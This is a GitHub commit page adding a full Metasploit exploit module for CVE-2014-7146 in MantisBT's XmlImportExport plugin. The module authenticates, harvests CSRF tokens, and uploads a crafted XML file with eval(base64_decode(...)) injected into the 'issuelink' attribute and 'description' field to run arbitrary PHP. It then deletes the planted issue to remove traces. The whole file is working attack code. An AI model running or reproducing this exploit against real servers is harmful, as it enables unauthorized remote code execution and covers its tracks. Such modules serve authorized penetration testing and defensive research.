Skip to content

Commit 28135bc

Browse files
committed
Land rapid7#4159, MantisBT PHP code execution by @itseco
2 parents 0477c5f + 77e5043 commit 28135bc

File tree

1 file changed

+290
-0
lines changed

1 file changed

+290
-0
lines changed
Lines changed: 290 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,290 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = GreatRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'MantisBT XmlImportExport Plugin PHP Code Injection Vulnerability',
16+
'Description' => %q{
17+
This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed.
18+
The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier.
19+
This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine.
20+
},
21+
'License' => MSF_LICENSE,
22+
'Author' =>
23+
[
24+
'Egidio Romano', # discovery http://karmainsecurity.com
25+
'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco
26+
],
27+
'References' =>
28+
[
29+
['CVE', '2014-7146']
30+
],
31+
'Platform' => 'php',
32+
'Arch' => ARCH_PHP,
33+
'Targets' => [['Generic (PHP Payload)', {}]],
34+
'DisclosureDate' => 'Nov 8 2014',
35+
'DefaultTarget' => 0))
36+
37+
register_options(
38+
[
39+
OptString.new('USERNAME', [ true, 'Username to authenticate as', 'administrator']),
40+
OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', 'root']),
41+
OptString.new('TARGETURI', [ true, 'Base directory path', '/'])
42+
], self.class)
43+
end
44+
45+
def check
46+
res = exec_php('phpinfo(); die();', true)
47+
48+
if res && res.body =~ /This program makes use of the Zend/
49+
return Exploit::CheckCode::Vulnerable
50+
else
51+
return Exploit::CheckCode::Unknown
52+
end
53+
end
54+
55+
def do_login()
56+
print_status('Checking access to MantisBT...')
57+
res = send_request_cgi({
58+
'method' => 'GET',
59+
'uri' => normalize_uri(target_uri.path, 'login_page.php'),
60+
'vars_get' => {
61+
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import')
62+
}
63+
})
64+
65+
fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res && res.code == 200
66+
67+
session_cookie = res.get_cookies
68+
69+
print_status('Logging in...')
70+
res = send_request_cgi({
71+
'method' => 'POST',
72+
'uri' => normalize_uri(target_uri.path, 'login.php'),
73+
'cookie' => session_cookie,
74+
'vars_post' => {
75+
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'),
76+
'username' => datastore['username'],
77+
'password' => datastore['password'],
78+
'secure_session' => 'on'
79+
}
80+
})
81+
82+
83+
fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302
84+
85+
fail_with(Failure::NoAccess, 'Wrong credentials') unless res.redirection.to_s !~ /login_page.php/
86+
87+
"#{session_cookie} #{res.get_cookies}"
88+
end
89+
90+
def upload_xml(payload_b64, rand_text, cookies, is_check)
91+
92+
if is_check
93+
timeout = 20
94+
else
95+
timeout = 3
96+
end
97+
98+
rand_num = Rex::Text.rand_text_numeric(1, 9)
99+
100+
print_status('Checking XmlImportExport plugin...')
101+
res = send_request_cgi({
102+
'method' => 'GET',
103+
'uri' => normalize_uri(target_uri.path, 'plugin.php'),
104+
'cookie' => cookies,
105+
'vars_get' => {
106+
'page' => 'XmlImportExport/import'
107+
}
108+
})
109+
110+
unless res && res.code == 200
111+
print_error('Error trying to access XmlImportExport/import page...')
112+
return false
113+
end
114+
115+
# Retrieving CSRF token
116+
if res.body =~ /name="plugin_xml_import_action_token" value="(.*)"/
117+
csrf_token = Regexp.last_match[1]
118+
else
119+
print_error('Error trying to read CSRF token')
120+
return false
121+
end
122+
123+
# Retrieving default project id
124+
if res.body =~ /name="project_id" value="([0-9]+)"/
125+
project_id = Regexp.last_match[1]
126+
else
127+
print_error('Error trying to read project id')
128+
return false
129+
end
130+
131+
# Retrieving default category id
132+
if res.body =~ /name="defaultcategory">[.|\r|\r\n]*<option value="([0-9])" selected="selected" >\(select\)<\/option><option value="1">\[All Projects\] (.*)<\/option>/
133+
category_id = Regexp.last_match[1]
134+
category_name = Regexp.last_match[2]
135+
else
136+
print_error('Error trying to read default category')
137+
return false
138+
end
139+
140+
# Retrieving default max file size
141+
if res.body =~ /name="max_file_size" value="([0-9]+)"/
142+
max_file_size = Regexp.last_match[1]
143+
else
144+
print_error('Error trying to read default max file size')
145+
return false
146+
end
147+
148+
# Retrieving default step
149+
if res.body =~ /name="step" value="([0-9]+)"/
150+
step = Regexp.last_match[1]
151+
else
152+
print_error('Error trying to read default step value')
153+
return false
154+
end
155+
156+
xml_file = %Q|
157+
<mantis version="1.2.17" urlbase="http://localhost/" issuelink="${eval(base64_decode(#{ payload_b64 }))}}" notelink="~" format="1">
158+
<issue>
159+
<id>#{ rand_num }</id>
160+
<project id="#{ project_id }">#{ rand_text }</project>
161+
<reporter id="#{ rand_num }">#{ rand_text }</reporter>
162+
<priority id="30">normal</priority>
163+
<severity id="50">minor</severity>
164+
<reproducibility id="70">have not tried</reproducibility>
165+
<status id="#{ rand_num }">new</status>
166+
<resolution id="#{ rand_num }">open</resolution>
167+
<projection id="#{ rand_num }">none</projection>
168+
<category id="#{ category_id }">#{ category_name }</category>
169+
<date_submitted>1415492267</date_submitted>
170+
<last_updated>1415507582</last_updated>
171+
<eta id="#{ rand_num }">none</eta>
172+
<view_state id="#{ rand_num }">public</view_state>
173+
<summary>#{ rand_text }</summary>
174+
<due_date>1</due_date>
175+
<description>{${eval(base64_decode(#{ payload_b64 }))}}1</description>
176+
</issue>
177+
</mantis>
178+
|
179+
180+
data = Rex::MIME::Message.new
181+
data.add_part("#{ csrf_token }", nil, nil, "form-data; name=\"plugin_xml_import_action_token\"")
182+
data.add_part("#{ project_id }", nil, nil, "form-data; name=\"project_id\"")
183+
data.add_part("#{ max_file_size }", nil, nil, "form-data; name=\"max_file_size\"")
184+
data.add_part("#{ step }", nil, nil, "form-data; name=\"step\"")
185+
data.add_part(xml_file, "text/xml", "UTF-8", "form-data; name=\"file\"; filename=\"#{ rand_text }.xml\"")
186+
data.add_part("renumber", nil, nil, "form-data; name=\"strategy\"")
187+
data.add_part("link", nil, nil, "form-data; name=\"fallback\"")
188+
data.add_part("on", nil, nil, "form-data; name=\"keepcategory\"")
189+
data.add_part("#{ category_id }", nil, nil, "form-data; name=\"defaultcategory\"")
190+
data_post = data.to_s
191+
192+
print_status('Sending payload...')
193+
return send_request_cgi({
194+
'method' => 'POST',
195+
'uri' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import_action'),
196+
'cookie' => cookies,
197+
'ctype' => "multipart/form-data; boundary=#{ data.bound }",
198+
'data' => data_post
199+
}, timeout)
200+
end
201+
202+
def exec_php(php_code, is_check = false)
203+
204+
# remove comments, line breaks and spaces of php_code
205+
payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')
206+
207+
# clean b64 payload
208+
while Rex::Text.encode_base64(payload_clean) =~ /=/
209+
payload_clean = "#{ payload_clean } "
210+
end
211+
payload_b64 = Rex::Text.encode_base64(payload_clean)
212+
213+
rand_text = Rex::Text.rand_text_alpha(5, 8)
214+
215+
cookies = do_login()
216+
217+
res_payload = upload_xml(payload_b64, rand_text, cookies, is_check)
218+
219+
# When a meterpreter session is active, communication with the application is lost.
220+
# Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it.
221+
cookies = do_login()
222+
223+
print_status("Deleting issue (#{ rand_text })...")
224+
res = send_request_cgi({
225+
'method' => 'GET',
226+
'uri' => normalize_uri(target_uri.path, 'my_view_page.php'),
227+
'cookie' => cookies
228+
})
229+
230+
unless res && res.code == 200
231+
print_error('Error trying to access My View page')
232+
return false
233+
end
234+
235+
if res.body =~ /title="\[@[0-9]+@\] #{ rand_text }">0+([0-9]+)<\/a>/
236+
issue_id = Regexp.last_match[1]
237+
else
238+
print_error('Error trying to retrieve issue id')
239+
return false
240+
end
241+
242+
res = send_request_cgi({
243+
'method' => 'GET',
244+
'uri' => normalize_uri(target_uri.path, 'bug_actiongroup_page.php'),
245+
'cookie' => cookies,
246+
'vars_get' => {
247+
'bug_arr[]' => issue_id,
248+
'action' => 'DELETE',
249+
},
250+
})
251+
252+
if res && res.body =~ /name="bug_actiongroup_DELETE_token" value="(.*)"\/>/
253+
csrf_token = Regexp.last_match[1]
254+
else
255+
print_error('Error trying to retrieve CSRF token')
256+
return false
257+
end
258+
259+
res = send_request_cgi({
260+
'method' => 'POST',
261+
'uri' => normalize_uri(target_uri.path, 'bug_actiongroup.php'),
262+
'cookie' => cookies,
263+
'vars_post' => {
264+
'bug_actiongroup_DELETE_token' => csrf_token,
265+
'bug_arr[]' => issue_id,
266+
'action' => 'DELETE',
267+
},
268+
})
269+
270+
if res && res.code == 302 || res.body !~ /Issue #{ issue_id } not found/
271+
print_status("Issue number (#{ issue_id }) removed")
272+
else
273+
print_error("Removing issue number (#{ issue_id }) has failed")
274+
return false
275+
end
276+
277+
# if check return the response
278+
if is_check
279+
return res_payload
280+
else
281+
return true
282+
end
283+
end
284+
285+
def exploit
286+
unless exec_php(payload.encoded)
287+
fail_with(Failure::Unknown, 'Exploit failed, aborting.')
288+
end
289+
end
290+
end

0 commit comments

Comments
 (0)